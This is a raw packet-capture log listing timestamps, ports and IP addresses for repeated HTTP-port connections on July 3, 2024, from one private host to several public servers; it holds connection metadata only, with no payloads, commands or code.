Jul 3, 2024 17:38:44.132128000 CEST	49808	80	192.168.11.20	44.227.65.245
Jul 3, 2024 17:38:44.309923887 CEST	80	49808	44.227.65.245	192.168.11.20
Jul 3, 2024 17:38:44.310097933 CEST	49808	80	192.168.11.20	44.227.65.245
Jul 3, 2024 17:38:44.325926065 CEST	49808	80	192.168.11.20	44.227.65.245
Jul 3, 2024 17:38:44.502871037 CEST	80	49808	44.227.65.245	192.168.11.20
Jul 3, 2024 17:38:44.508347034 CEST	80	49808	44.227.65.245	192.168.11.20
Jul 3, 2024 17:38:44.508358955 CEST	80	49808	44.227.65.245	192.168.11.20
Jul 3, 2024 17:38:44.508511066 CEST	49808	80	192.168.11.20	44.227.65.245
Jul 3, 2024 17:38:45.836464882 CEST	49808	80	192.168.11.20	44.227.65.245
Jul 3, 2024 17:38:46.865943909 CEST	49809	80	192.168.11.20	44.227.65.245
Jul 3, 2024 17:38:47.044277906 CEST	80	49809	44.227.65.245	192.168.11.20
Jul 3, 2024 17:38:47.044482946 CEST	49809	80	192.168.11.20	44.227.65.245
Jul 3, 2024 17:38:47.061451912 CEST	49809	80	192.168.11.20	44.227.65.245
Jul 3, 2024 17:38:47.061474085 CEST	49809	80	192.168.11.20	44.227.65.245
Jul 3, 2024 17:38:47.061520100 CEST	49809	80	192.168.11.20	44.227.65.245
Jul 3, 2024 17:38:47.239042997 CEST	80	49809	44.227.65.245	192.168.11.20
Jul 3, 2024 17:38:47.239156961 CEST	80	49809	44.227.65.245	192.168.11.20
Jul 3, 2024 17:38:47.239167929 CEST	80	49809	44.227.65.245	192.168.11.20
Jul 3, 2024 17:38:47.239252090 CEST	49809	80	192.168.11.20	44.227.65.245
Jul 3, 2024 17:38:47.239269018 CEST	80	49809	44.227.65.245	192.168.11.20
Jul 3, 2024 17:38:47.239280939 CEST	80	49809	44.227.65.245	192.168.11.20
Jul 3, 2024 17:38:47.239289045 CEST	80	49809	44.227.65.245	192.168.11.20
Jul 3, 2024 17:38:47.239456892 CEST	49809	80	192.168.11.20	44.227.65.245
Jul 3, 2024 17:38:47.239589930 CEST	49809	80	192.168.11.20	44.227.65.245
Jul 3, 2024 17:38:47.239762068 CEST	49809	80	192.168.11.20	44.227.65.245
Jul 3, 2024 17:38:47.243540049 CEST	80	49809	44.227.65.245	192.168.11.20
Jul 3, 2024 17:38:47.288064003 CEST	49809	80	192.168.11.20	44.227.65.245
Jul 3, 2024 17:38:47.417196035 CEST	80	49809	44.227.65.245	192.168.11.20
Jul 3, 2024 17:38:47.417309999 CEST	80	49809	44.227.65.245	192.168.11.20
Jul 3, 2024 17:38:47.417320967 CEST	80	49809	44.227.65.245	192.168.11.20
Jul 3, 2024 17:38:47.417329073 CEST	80	49809	44.227.65.245	192.168.11.20
Jul 3, 2024 17:38:47.417387009 CEST	49809	80	192.168.11.20	44.227.65.245
Jul 3, 2024 17:38:47.417419910 CEST	80	49809	44.227.65.245	192.168.11.20
Jul 3, 2024 17:38:47.417548895 CEST	49809	80	192.168.11.20	44.227.65.245
Jul 3, 2024 17:38:47.417742968 CEST	49809	80	192.168.11.20	44.227.65.245
Jul 3, 2024 17:38:47.418843985 CEST	80	49809	44.227.65.245	192.168.11.20
Jul 3, 2024 17:38:47.595181942 CEST	80	49809	44.227.65.245	192.168.11.20
Jul 3, 2024 17:38:47.595279932 CEST	80	49809	44.227.65.245	192.168.11.20
Jul 3, 2024 17:38:47.595292091 CEST	80	49809	44.227.65.245	192.168.11.20
Jul 3, 2024 17:38:47.595393896 CEST	80	49809	44.227.65.245	192.168.11.20
Jul 3, 2024 17:38:47.595406055 CEST	80	49809	44.227.65.245	192.168.11.20
Jul 3, 2024 17:38:47.595597029 CEST	49809	80	192.168.11.20	44.227.65.245
Jul 3, 2024 17:38:48.570252895 CEST	49809	80	192.168.11.20	44.227.65.245
Jul 3, 2024 17:38:49.599684954 CEST	49810	80	192.168.11.20	44.227.65.245
Jul 3, 2024 17:38:49.777256012 CEST	80	49810	44.227.65.245	192.168.11.20
Jul 3, 2024 17:38:49.777475119 CEST	49810	80	192.168.11.20	44.227.65.245
Jul 3, 2024 17:38:49.790857077 CEST	49810	80	192.168.11.20	44.227.65.245
Jul 3, 2024 17:38:49.971919060 CEST	80	49810	44.227.65.245	192.168.11.20
Jul 3, 2024 17:38:49.972012997 CEST	80	49810	44.227.65.245	192.168.11.20
Jul 3, 2024 17:38:49.972023010 CEST	80	49810	44.227.65.245	192.168.11.20
Jul 3, 2024 17:38:49.972264051 CEST	49810	80	192.168.11.20	44.227.65.245
Jul 3, 2024 17:38:49.979000092 CEST	49810	80	192.168.11.20	44.227.65.245
Jul 3, 2024 17:38:50.156114101 CEST	80	49810	44.227.65.245	192.168.11.20
Jul 3, 2024 17:38:55.186501980 CEST	49811	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:38:55.306066036 CEST	80	49811	3.33.130.190	192.168.11.20
Jul 3, 2024 17:38:55.306241035 CEST	49811	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:38:55.322060108 CEST	49811	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:38:55.442831039 CEST	80	49811	3.33.130.190	192.168.11.20
Jul 3, 2024 17:38:55.464915037 CEST	80	49811	3.33.130.190	192.168.11.20
Jul 3, 2024 17:38:55.465109110 CEST	49811	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:38:56.834074020 CEST	49811	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:38:56.960848093 CEST	80	49811	3.33.130.190	192.168.11.20
Jul 3, 2024 17:38:57.863496065 CEST	49812	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:38:57.988152027 CEST	80	49812	3.33.130.190	192.168.11.20
Jul 3, 2024 17:38:57.988359928 CEST	49812	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:38:58.004158974 CEST	49812	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:38:58.147641897 CEST	80	49812	3.33.130.190	192.168.11.20
Jul 3, 2024 17:38:58.163288116 CEST	80	49812	3.33.130.190	192.168.11.20
Jul 3, 2024 17:38:58.163434029 CEST	49812	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:38:59.520973921 CEST	49812	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:38:59.666304111 CEST	80	49812	3.33.130.190	192.168.11.20
Jul 3, 2024 17:39:00.550467014 CEST	49813	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:39:00.669298887 CEST	80	49813	3.33.130.190	192.168.11.20
Jul 3, 2024 17:39:00.669584036 CEST	49813	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:39:00.686530113 CEST	49813	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:39:00.686599016 CEST	49813	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:39:00.805062056 CEST	80	49813	3.33.130.190	192.168.11.20
Jul 3, 2024 17:39:00.805171967 CEST	80	49813	3.33.130.190	192.168.11.20
Jul 3, 2024 17:39:00.805183887 CEST	80	49813	3.33.130.190	192.168.11.20
Jul 3, 2024 17:39:00.805247068 CEST	49813	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:39:00.805308104 CEST	80	49813	3.33.130.190	192.168.11.20
Jul 3, 2024 17:39:00.805322886 CEST	80	49813	3.33.130.190	192.168.11.20
Jul 3, 2024 17:39:00.805332899 CEST	80	49813	3.33.130.190	192.168.11.20
Jul 3, 2024 17:39:00.805340052 CEST	80	49813	3.33.130.190	192.168.11.20
Jul 3, 2024 17:39:00.805347919 CEST	80	49813	3.33.130.190	192.168.11.20
Jul 3, 2024 17:39:00.805356979 CEST	80	49813	3.33.130.190	192.168.11.20
Jul 3, 2024 17:39:00.805387020 CEST	80	49813	3.33.130.190	192.168.11.20
Jul 3, 2024 17:39:00.805408955 CEST	49813	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:39:00.805560112 CEST	49813	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:39:00.805762053 CEST	49813	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:39:00.828495026 CEST	80	49813	3.33.130.190	192.168.11.20
Jul 3, 2024 17:39:00.828774929 CEST	49813	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:39:00.923748970 CEST	80	49813	3.33.130.190	192.168.11.20
Jul 3, 2024 17:39:00.923837900 CEST	80	49813	3.33.130.190	192.168.11.20
Jul 3, 2024 17:39:00.924052000 CEST	49813	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:39:00.924093008 CEST	80	49813	3.33.130.190	192.168.11.20
Jul 3, 2024 17:39:00.924177885 CEST	49813	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:39:00.924257994 CEST	49813	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:39:00.924292088 CEST	80	49813	3.33.130.190	192.168.11.20
Jul 3, 2024 17:39:00.924304008 CEST	80	49813	3.33.130.190	192.168.11.20
Jul 3, 2024 17:39:00.924325943 CEST	80	49813	3.33.130.190	192.168.11.20
Jul 3, 2024 17:39:00.924334049 CEST	80	49813	3.33.130.190	192.168.11.20
Jul 3, 2024 17:39:00.924345970 CEST	80	49813	3.33.130.190	192.168.11.20
Jul 3, 2024 17:39:00.924355030 CEST	80	49813	3.33.130.190	192.168.11.20
Jul 3, 2024 17:39:00.924362898 CEST	80	49813	3.33.130.190	192.168.11.20
Jul 3, 2024 17:39:00.924371004 CEST	80	49813	3.33.130.190	192.168.11.20
Jul 3, 2024 17:39:00.924424887 CEST	49813	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:39:00.924434900 CEST	80	49813	3.33.130.190	192.168.11.20
Jul 3, 2024 17:39:00.924443960 CEST	80	49813	3.33.130.190	192.168.11.20
Jul 3, 2024 17:39:00.924451113 CEST	80	49813	3.33.130.190	192.168.11.20
Jul 3, 2024 17:39:00.924462080 CEST	80	49813	3.33.130.190	192.168.11.20
Jul 3, 2024 17:39:00.924474955 CEST	80	49813	3.33.130.190	192.168.11.20
Jul 3, 2024 17:39:00.924484015 CEST	80	49813	3.33.130.190	192.168.11.20
Jul 3, 2024 17:39:00.924491882 CEST	80	49813	3.33.130.190	192.168.11.20
Jul 3, 2024 17:39:00.924499989 CEST	80	49813	3.33.130.190	192.168.11.20
Jul 3, 2024 17:39:00.924508095 CEST	80	49813	3.33.130.190	192.168.11.20
Jul 3, 2024 17:39:00.924580097 CEST	49813	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:39:01.042628050 CEST	80	49813	3.33.130.190	192.168.11.20
Jul 3, 2024 17:39:01.042731047 CEST	80	49813	3.33.130.190	192.168.11.20
Jul 3, 2024 17:39:01.042855978 CEST	80	49813	3.33.130.190	192.168.11.20
Jul 3, 2024 17:39:01.042866945 CEST	80	49813	3.33.130.190	192.168.11.20
Jul 3, 2024 17:39:01.042979956 CEST	80	49813	3.33.130.190	192.168.11.20
Jul 3, 2024 17:39:01.043107986 CEST	80	49813	3.33.130.190	192.168.11.20
Jul 3, 2024 17:39:01.043246031 CEST	80	49813	3.33.130.190	192.168.11.20
Jul 3, 2024 17:39:01.043256998 CEST	80	49813	3.33.130.190	192.168.11.20
Jul 3, 2024 17:39:01.043266058 CEST	80	49813	3.33.130.190	192.168.11.20
Jul 3, 2024 17:39:01.043272972 CEST	80	49813	3.33.130.190	192.168.11.20
Jul 3, 2024 17:39:01.043282032 CEST	80	49813	3.33.130.190	192.168.11.20
Jul 3, 2024 17:39:01.043320894 CEST	80	49813	3.33.130.190	192.168.11.20
Jul 3, 2024 17:39:02.192291021 CEST	49813	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:39:02.310841084 CEST	80	49813	3.33.130.190	192.168.11.20
Jul 3, 2024 17:39:03.221716881 CEST	49814	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:39:03.340311050 CEST	80	49814	3.33.130.190	192.168.11.20
Jul 3, 2024 17:39:03.340488911 CEST	49814	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:39:03.353831053 CEST	49814	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:39:03.472246885 CEST	80	49814	3.33.130.190	192.168.11.20
Jul 3, 2024 17:39:03.495410919 CEST	80	49814	3.33.130.190	192.168.11.20
Jul 3, 2024 17:39:03.495424032 CEST	80	49814	3.33.130.190	192.168.11.20
Jul 3, 2024 17:39:03.495639086 CEST	49814	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:39:03.499732971 CEST	80	49814	3.33.130.190	192.168.11.20
Jul 3, 2024 17:39:03.499886990 CEST	49814	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:39:03.502362013 CEST	49814	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:39:03.621068954 CEST	80	49814	3.33.130.190	192.168.11.20
Jul 3, 2024 17:39:16.938963890 CEST	49815	80	192.168.11.20	84.32.84.192
Jul 3, 2024 17:39:17.190830946 CEST	80	49815	84.32.84.192	192.168.11.20
Jul 3, 2024 17:39:17.191005945 CEST	49815	80	192.168.11.20	84.32.84.192
Jul 3, 2024 17:39:17.207076073 CEST	49815	80	192.168.11.20	84.32.84.192
Jul 3, 2024 17:39:17.479142904 CEST	80	49815	84.32.84.192	192.168.11.20
Jul 3, 2024 17:39:18.127497911 CEST	80	49815	84.32.84.192	192.168.11.20
Jul 3, 2024 17:39:18.127511978 CEST	80	49815	84.32.84.192	192.168.11.20
Jul 3, 2024 17:39:18.127712011 CEST	49815	80	192.168.11.20	84.32.84.192
Jul 3, 2024 17:39:18.719861031 CEST	49815	80	192.168.11.20	84.32.84.192
Jul 3, 2024 17:39:19.749320984 CEST	49816	80	192.168.11.20	84.32.84.192
Jul 3, 2024 17:39:20.005415916 CEST	80	49816	84.32.84.192	192.168.11.20
Jul 3, 2024 17:39:20.005553961 CEST	49816	80	192.168.11.20	84.32.84.192
Jul 3, 2024 17:39:20.021413088 CEST	49816	80	192.168.11.20	84.32.84.192
Jul 3, 2024 17:39:20.284609079 CEST	80	49816	84.32.84.192	192.168.11.20
Jul 3, 2024 17:39:20.926676989 CEST	80	49816	84.32.84.192	192.168.11.20
Jul 3, 2024 17:39:20.926695108 CEST	80	49816	84.32.84.192	192.168.11.20
Jul 3, 2024 17:39:20.926825047 CEST	49816	80	192.168.11.20	84.32.84.192
Jul 3, 2024 17:39:21.531919956 CEST	49816	80	192.168.11.20	84.32.84.192
Jul 3, 2024 17:39:22.563051939 CEST	49817	80	192.168.11.20	84.32.84.192
Jul 3, 2024 17:39:22.809257030 CEST	80	49817	84.32.84.192	192.168.11.20
Jul 3, 2024 17:39:22.809402943 CEST	49817	80	192.168.11.20	84.32.84.192
Jul 3, 2024 17:39:22.826396942 CEST	49817	80	192.168.11.20	84.32.84.192
Jul 3, 2024 17:39:22.826476097 CEST	49817	80	192.168.11.20	84.32.84.192
Jul 3, 2024 17:39:23.073259115 CEST	80	49817	84.32.84.192	192.168.11.20
Jul 3, 2024 17:39:23.073486090 CEST	49817	80	192.168.11.20	84.32.84.192
Jul 3, 2024 17:39:23.073553085 CEST	49817	80	192.168.11.20	84.32.84.192
Jul 3, 2024 17:39:23.073599100 CEST	49817	80	192.168.11.20	84.32.84.192
Jul 3, 2024 17:39:23.073601007 CEST	80	49817	84.32.84.192	192.168.11.20
Jul 3, 2024 17:39:23.073941946 CEST	49817	80	192.168.11.20	84.32.84.192
Jul 3, 2024 17:39:23.324527025 CEST	80	49817	84.32.84.192	192.168.11.20
Jul 3, 2024 17:39:23.324693918 CEST	49817	80	192.168.11.20	84.32.84.192
Jul 3, 2024 17:39:23.324707031 CEST	80	49817	84.32.84.192	192.168.11.20
Jul 3, 2024 17:39:23.324744940 CEST	49817	80	192.168.11.20	84.32.84.192
Jul 3, 2024 17:39:23.324791908 CEST	49817	80	192.168.11.20	84.32.84.192
Jul 3, 2024 17:39:23.324887037 CEST	80	49817	84.32.84.192	192.168.11.20
Jul 3, 2024 17:39:23.325063944 CEST	80	49817	84.32.84.192	192.168.11.20
Jul 3, 2024 17:39:23.595683098 CEST	80	49817	84.32.84.192	192.168.11.20
Jul 3, 2024 17:39:24.262131929 CEST	80	49817	84.32.84.192	192.168.11.20
Jul 3, 2024 17:39:24.262145042 CEST	80	49817	84.32.84.192	192.168.11.20
Jul 3, 2024 17:39:24.262309074 CEST	49817	80	192.168.11.20	84.32.84.192
Jul 3, 2024 17:39:24.343873024 CEST	49817	80	192.168.11.20	84.32.84.192
Jul 3, 2024 17:39:25.373061895 CEST	49818	80	192.168.11.20	84.32.84.192
Jul 3, 2024 17:39:25.637356043 CEST	80	49818	84.32.84.192	192.168.11.20
Jul 3, 2024 17:39:25.637614012 CEST	49818	80	192.168.11.20	84.32.84.192
Jul 3, 2024 17:39:25.651051998 CEST	49818	80	192.168.11.20	84.32.84.192
Jul 3, 2024 17:39:25.898138046 CEST	80	49818	84.32.84.192	192.168.11.20
Jul 3, 2024 17:39:26.555114985 CEST	80	49818	84.32.84.192	192.168.11.20
Jul 3, 2024 17:39:26.555211067 CEST	80	49818	84.32.84.192	192.168.11.20
Jul 3, 2024 17:39:26.555296898 CEST	80	49818	84.32.84.192	192.168.11.20
Jul 3, 2024 17:39:26.555486917 CEST	49818	80	192.168.11.20	84.32.84.192
Jul 3, 2024 17:39:26.555486917 CEST	49818	80	192.168.11.20	84.32.84.192
Jul 3, 2024 17:39:26.562237024 CEST	49818	80	192.168.11.20	84.32.84.192
Jul 3, 2024 17:39:26.809300900 CEST	80	49818	84.32.84.192	192.168.11.20
Jul 3, 2024 17:41:04.469784975 CEST	49820	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:41:04.588366985 CEST	80	49820	3.33.130.190	192.168.11.20
Jul 3, 2024 17:41:04.588613987 CEST	49820	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:41:04.604430914 CEST	49820	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:41:04.723071098 CEST	80	49820	3.33.130.190	192.168.11.20
Jul 3, 2024 17:41:04.745064974 CEST	80	49820	3.33.130.190	192.168.11.20
Jul 3, 2024 17:41:04.745224953 CEST	49820	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:41:06.118282080 CEST	49820	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:41:06.236877918 CEST	80	49820	3.33.130.190	192.168.11.20
Jul 3, 2024 17:41:07.147705078 CEST	49821	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:41:07.266264915 CEST	80	49821	3.33.130.190	192.168.11.20
Jul 3, 2024 17:41:07.266488075 CEST	49821	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:41:07.282335043 CEST	49821	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:41:07.400875092 CEST	80	49821	3.33.130.190	192.168.11.20
Jul 3, 2024 17:41:07.425645113 CEST	80	49821	3.33.130.190	192.168.11.20
Jul 3, 2024 17:41:07.425884008 CEST	49821	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:41:08.789573908 CEST	49821	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:41:08.908052921 CEST	80	49821	3.33.130.190	192.168.11.20
Jul 3, 2024 17:41:09.819084883 CEST	49822	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:41:09.937704086 CEST	80	49822	3.33.130.190	192.168.11.20
Jul 3, 2024 17:41:09.937927008 CEST	49822	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:41:09.955025911 CEST	49822	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:41:09.955060005 CEST	49822	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:41:09.955136061 CEST	49822	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:41:10.073673964 CEST	80	49822	3.33.130.190	192.168.11.20
Jul 3, 2024 17:41:10.073740005 CEST	80	49822	3.33.130.190	192.168.11.20
Jul 3, 2024 17:41:10.073859930 CEST	49822	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:41:10.073880911 CEST	80	49822	3.33.130.190	192.168.11.20
Jul 3, 2024 17:41:10.073956966 CEST	80	49822	3.33.130.190	192.168.11.20
Jul 3, 2024 17:41:10.074006081 CEST	49822	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:41:10.074023008 CEST	80	49822	3.33.130.190	192.168.11.20
Jul 3, 2024 17:41:10.074075937 CEST	80	49822	3.33.130.190	192.168.11.20
Jul 3, 2024 17:41:10.074122906 CEST	80	49822	3.33.130.190	192.168.11.20
Jul 3, 2024 17:41:10.074177027 CEST	80	49822	3.33.130.190	192.168.11.20
Jul 3, 2024 17:41:10.074182034 CEST	49822	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:41:10.074225903 CEST	80	49822	3.33.130.190	192.168.11.20
Jul 3, 2024 17:41:10.074275970 CEST	80	49822	3.33.130.190	192.168.11.20
Jul 3, 2024 17:41:10.074352026 CEST	49822	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:41:10.074527979 CEST	49822	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:41:10.092958927 CEST	80	49822	3.33.130.190	192.168.11.20
Jul 3, 2024 17:41:10.093095064 CEST	49822	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:41:10.192958117 CEST	80	49822	3.33.130.190	192.168.11.20
Jul 3, 2024 17:41:10.193015099 CEST	80	49822	3.33.130.190	192.168.11.20
Jul 3, 2024 17:41:10.193048000 CEST	80	49822	3.33.130.190	192.168.11.20
Jul 3, 2024 17:41:10.193129063 CEST	80	49822	3.33.130.190	192.168.11.20
Jul 3, 2024 17:41:10.193130970 CEST	49822	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:41:10.193161011 CEST	80	49822	3.33.130.190	192.168.11.20
Jul 3, 2024 17:41:10.193180084 CEST	49822	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:41:10.193227053 CEST	49822	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:41:10.193259001 CEST	80	49822	3.33.130.190	192.168.11.20
Jul 3, 2024 17:41:10.193376064 CEST	80	49822	3.33.130.190	192.168.11.20
Jul 3, 2024 17:41:10.193401098 CEST	49822	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:41:10.193403959 CEST	80	49822	3.33.130.190	192.168.11.20
Jul 3, 2024 17:41:10.193428040 CEST	80	49822	3.33.130.190	192.168.11.20
Jul 3, 2024 17:41:10.193519115 CEST	80	49822	3.33.130.190	192.168.11.20
Jul 3, 2024 17:41:10.193547964 CEST	80	49822	3.33.130.190	192.168.11.20
Jul 3, 2024 17:41:10.193568945 CEST	49822	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:41:10.193640947 CEST	80	49822	3.33.130.190	192.168.11.20
Jul 3, 2024 17:41:10.193674088 CEST	80	49822	3.33.130.190	192.168.11.20
Jul 3, 2024 17:41:10.193746090 CEST	80	49822	3.33.130.190	192.168.11.20
Jul 3, 2024 17:41:10.193865061 CEST	80	49822	3.33.130.190	192.168.11.20
Jul 3, 2024 17:41:10.193893909 CEST	80	49822	3.33.130.190	192.168.11.20
Jul 3, 2024 17:41:10.194005013 CEST	80	49822	3.33.130.190	192.168.11.20
Jul 3, 2024 17:41:10.194119930 CEST	80	49822	3.33.130.190	192.168.11.20
Jul 3, 2024 17:41:10.194150925 CEST	80	49822	3.33.130.190	192.168.11.20
Jul 3, 2024 17:41:10.194222927 CEST	80	49822	3.33.130.190	192.168.11.20
Jul 3, 2024 17:41:10.311764956 CEST	80	49822	3.33.130.190	192.168.11.20
Jul 3, 2024 17:41:10.311791897 CEST	80	49822	3.33.130.190	192.168.11.20
Jul 3, 2024 17:41:10.311804056 CEST	80	49822	3.33.130.190	192.168.11.20
Jul 3, 2024 17:41:10.311913013 CEST	80	49822	3.33.130.190	192.168.11.20
Jul 3, 2024 17:41:10.312032938 CEST	80	49822	3.33.130.190	192.168.11.20
Jul 3, 2024 17:41:10.312181950 CEST	80	49822	3.33.130.190	192.168.11.20
Jul 3, 2024 17:41:10.312288046 CEST	80	49822	3.33.130.190	192.168.11.20
Jul 3, 2024 17:41:10.312429905 CEST	80	49822	3.33.130.190	192.168.11.20
Jul 3, 2024 17:41:10.312448025 CEST	80	49822	3.33.130.190	192.168.11.20
Jul 3, 2024 17:41:10.312463999 CEST	80	49822	3.33.130.190	192.168.11.20
Jul 3, 2024 17:41:10.312549114 CEST	80	49822	3.33.130.190	192.168.11.20
Jul 3, 2024 17:41:10.312665939 CEST	80	49822	3.33.130.190	192.168.11.20
Jul 3, 2024 17:41:11.460804939 CEST	49822	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:41:11.579257011 CEST	80	49822	3.33.130.190	192.168.11.20
Jul 3, 2024 17:41:12.490268946 CEST	49823	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:41:12.608846903 CEST	80	49823	3.33.130.190	192.168.11.20
Jul 3, 2024 17:41:12.608973980 CEST	49823	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:41:12.622332096 CEST	49823	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:41:12.740835905 CEST	80	49823	3.33.130.190	192.168.11.20
Jul 3, 2024 17:41:12.766969919 CEST	80	49823	3.33.130.190	192.168.11.20
Jul 3, 2024 17:41:12.766980886 CEST	80	49823	3.33.130.190	192.168.11.20
Jul 3, 2024 17:41:12.767292023 CEST	49823	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:41:12.771243095 CEST	80	49823	3.33.130.190	192.168.11.20
Jul 3, 2024 17:41:12.771473885 CEST	49823	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:41:12.773971081 CEST	49823	80	192.168.11.20	3.33.130.190
Jul 3, 2024 17:41:12.892338037 CEST	80	49823	3.33.130.190	192.168.11.20
Jul 3, 2024 17:41:20.923830032 CEST	49824	80	192.168.11.20	74.208.236.38
Jul 3, 2024 17:41:21.054687977 CEST	80	49824	74.208.236.38	192.168.11.20
Jul 3, 2024 17:41:21.054894924 CEST	49824	80	192.168.11.20	74.208.236.38
Jul 3, 2024 17:41:21.068289042 CEST	49824	80	192.168.11.20	74.208.236.38
Jul 3, 2024 17:41:21.199048042 CEST	80	49824	74.208.236.38	192.168.11.20
Jul 3, 2024 17:41:21.202608109 CEST	80	49824	74.208.236.38	192.168.11.20
Jul 3, 2024 17:41:21.203102112 CEST	80	49824	74.208.236.38	192.168.11.20
Jul 3, 2024 17:41:21.203268051 CEST	49824	80	192.168.11.20	74.208.236.38
Jul 3, 2024 17:41:21.210647106 CEST	49824	80	192.168.11.20	74.208.236.38
Jul 3, 2024 17:41:21.341415882 CEST	80	49824	74.208.236.38	192.168.11.20
Jul 3, 2024 17:41:26.240961075 CEST	49825	80	192.168.11.20	142.202.6.230
Jul 3, 2024 17:41:26.409423113 CEST	80	49825	142.202.6.230	192.168.11.20
Jul 3, 2024 17:41:26.409610033 CEST	49825	80	192.168.11.20	142.202.6.230
Jul 3, 2024 17:41:26.425379038 CEST	49825	80	192.168.11.20	142.202.6.230
Jul 3, 2024 17:41:26.593741894 CEST	80	49825	142.202.6.230	192.168.11.20
Jul 3, 2024 17:41:27.581568956 CEST	80	49825	142.202.6.230	192.168.11.20
Jul 3, 2024 17:41:27.581583023 CEST	80	49825	142.202.6.230	192.168.11.20
Jul 3, 2024 17:41:27.581813097 CEST	49825	80	192.168.11.20	142.202.6.230
Jul 3, 2024 17:41:27.941791058 CEST	49825	80	192.168.11.20	142.202.6.230
Jul 3, 2024 17:41:28.971082926 CEST	49826	80	192.168.11.20	142.202.6.230
Jul 3, 2024 17:41:29.139942884 CEST	80	49826	142.202.6.230	192.168.11.20
Jul 3, 2024 17:41:29.140213966 CEST	49826	80	192.168.11.20	142.202.6.230
Jul 3, 2024 17:41:29.155994892 CEST	49826	80	192.168.11.20	142.202.6.230
Jul 3, 2024 17:41:29.324680090 CEST	80	49826	142.202.6.230	192.168.11.20
Jul 3, 2024 17:41:30.329432011 CEST	80	49826	142.202.6.230	192.168.11.20
Jul 3, 2024 17:41:30.329516888 CEST	80	49826	142.202.6.230	192.168.11.20
Jul 3, 2024 17:41:30.329770088 CEST	49826	80	192.168.11.20	142.202.6.230
Jul 3, 2024 17:41:30.659801006 CEST	49826	80	192.168.11.20	142.202.6.230
Jul 3, 2024 17:41:31.689239979 CEST	49827	80	192.168.11.20	142.202.6.230
Jul 3, 2024 17:41:31.857737064 CEST	80	49827	142.202.6.230	192.168.11.20
Jul 3, 2024 17:41:31.857918978 CEST	49827	80	192.168.11.20	142.202.6.230
Jul 3, 2024 17:41:31.874810934 CEST	49827	80	192.168.11.20	142.202.6.230
Jul 3, 2024 17:41:31.874834061 CEST	49827	80	192.168.11.20	142.202.6.230
Jul 3, 2024 17:41:31.874917030 CEST	49827	80	192.168.11.20	142.202.6.230
Jul 3, 2024 17:41:32.043286085 CEST	80	49827	142.202.6.230	192.168.11.20
Jul 3, 2024 17:41:32.043303967 CEST	80	49827	142.202.6.230	192.168.11.20
Jul 3, 2024 17:41:32.043379068 CEST	80	49827	142.202.6.230	192.168.11.20
Jul 3, 2024 17:41:32.043472052 CEST	49827	80	192.168.11.20	142.202.6.230
Jul 3, 2024 17:41:32.043494940 CEST	49827	80	192.168.11.20	142.202.6.230
Jul 3, 2024 17:41:32.043580055 CEST	80	49827	142.202.6.230	192.168.11.20
Jul 3, 2024 17:41:32.043742895 CEST	49827	80	192.168.11.20	142.202.6.230
Jul 3, 2024 17:41:32.043915987 CEST	49827	80	192.168.11.20	142.202.6.230
Jul 3, 2024 17:41:32.212057114 CEST	80	49827	142.202.6.230	192.168.11.20
Jul 3, 2024 17:41:32.212075949 CEST	80	49827	142.202.6.230	192.168.11.20
Jul 3, 2024 17:41:32.212363005 CEST	80	49827	142.202.6.230	192.168.11.20
